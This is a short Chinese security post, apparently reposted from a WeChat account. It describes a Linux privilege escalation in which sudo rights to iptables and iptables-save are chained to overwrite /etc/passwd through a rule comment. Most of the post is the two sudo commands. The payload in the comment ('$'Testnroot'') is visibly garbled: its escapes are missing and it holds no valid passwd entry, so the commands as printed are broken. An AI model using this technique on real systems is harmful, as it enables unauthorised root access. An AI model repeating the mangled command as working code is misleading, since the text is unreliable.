利用iptables提权

iptables和iptables-save链接在一起实现任意代码执行。

以下三个步骤

1.使用提供的注释功能将包含换行符的任意注释附加到规则中。

2.利用iptables-save将加载的规则的内容（包括注释）保存覆盖文件。

3.利用步骤 1 和步骤 2 ，攻击者（使用已知密码）覆盖/etc/passwd文件。

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Testnroot'

sudo iptables-save -f /etc/passwd

最后使用你的密码登录。

用户被授予iptables和iptables-save命令的sudo权限，备份好/etc/passwd文件

仅限交流学习使用，如您在使用本工具或代码的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。

原文始发于微信公众号（柠檬赏金猎人）：利用iptables提权